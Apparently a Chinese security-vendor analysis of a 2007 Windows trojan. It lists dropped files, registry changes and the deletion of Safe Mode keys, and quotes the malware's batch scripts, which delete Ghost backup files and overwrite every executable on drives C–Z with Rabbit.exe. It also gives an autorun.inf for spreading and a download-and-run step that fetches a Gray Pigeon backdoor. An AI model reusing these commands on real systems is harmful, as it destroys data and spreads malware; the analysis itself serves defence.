该病毒是一个木马。该病毒会直接替换系统盘program files和其他盘目录下的exe文件文件和删除gho备份文件，同时该病毒还有下载并运行一灰鸽子病毒。

病毒基本信息

病毒过程(1、生成的文件 2、添加启动项 3、删除以下键：)

病毒基本信息

病毒别名：未知 处理时间：2007-04-14 威胁级别：★

中文名称： 病毒类型：木马 影响系统：Win 9x/ME,Win 2000/NT,Win XP,Win 2003

病毒过程

1、生成的文件

%SystemRoot%\\system32\\loveRabbit~.exe

%SystemRoot%\\system32\\MS006TZ.dll.exe

%SystemRoot%\\system32\\Rabbit.exe

%SystemRoot%\\ILTZ.bat

%SystemRoot%\\IOTZ.bat

%SystemRoot%\\DLL.bat

%SystemRoot%\\GHO.bat

%SystemRoot%\\ILTZ.inf

%SystemRoot%\\system32\\JK~.exe

%SystemRoot%\\system32\\msexch400.dll

%SystemRoot%\\system32\\sha~.bat

%C:%\\Rabbit.exe

%C:%\\AutoRun.inf

2、添加启动项

HKLM\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\\\

"StubPath" = "%SystemRoot%\\system32\\JK~.exe"

3、删除以下键：

SYSTEM\\CurrentControlSet\\Control\\SafeBoot\\Minimal\\

SYSTEM\\CurrentControlSet\\Control\\SafeBoot\etwork\\

4、执行%SystemRoot%\\ILTZ.bat文件，将d到z盘的exe文件路径记录在ILTZ.inf文件，将c盘到z盘的ghost备份文件路径记录到GHO.inf文件和将系统盘下program files目录下的exe文件路径记录在IOTZ.inf文件

---------------------------------------------------------

set /A r=%random%

FOR %%a in ( d: e: f: g: h: i: j: k: l: m: n: o: p: q: r: s: t: u: v: w: s: y: z: ) do dir /s /b %%a\\*.exe >>%windir%\\ILTZ.inf

FOR %%a in ( c: d: e: f: g: h: i: j: k: l: m: n: o: p: q: r: s: t: u: v: w: s: y: z: ) do dir /a:- /b %%a\\*.gho>>%windir%\\GHO.inf

cd %windir%

cd..

cd Program Files

dir *.exe /s /b >>%windir%\\IOTZ.inf

IOTZ.bat

GHO.bat

----------------------------------------------------------

5、执行GHO.bat，IOTZ.bat文件删除GHO.inf里指定的路径的gho文件和替换ILTZ.inf，IOTZ.inf指定路径的exe文件

GHO.bat >

----------------------------------------------------------------

FOR /f "delims=" %%i in (%windir%\\GHO.inf) do del /a:- "%%i"

----------------------------------------------------------------

IOTZ.bat >

------------------------------------------------------------------------------------------

FOR /f "delims=" %%i in (%windir%\\ILTZ.inf) do copy /y %windir%\\system32\\Rabbit.exe "%%i"

FOR /f "delims=" %%i in (%windir%\\IOTZ.inf) do copy /y %windir%\\system32\\Rabbit.exe "%%i"

------------------------------------------------------------------------------------------

6、在c，d，e，f，g，h盘里生成autorun启动

------------------------------------

[autorun]

Label=本地磁盘

Shellexecute=Rabbit.exe

------------------------------------

7、下载并执行http://www.beecool.***/help.htm脚本，该脚本会下执行载最新版变种和一灰鸽子木马。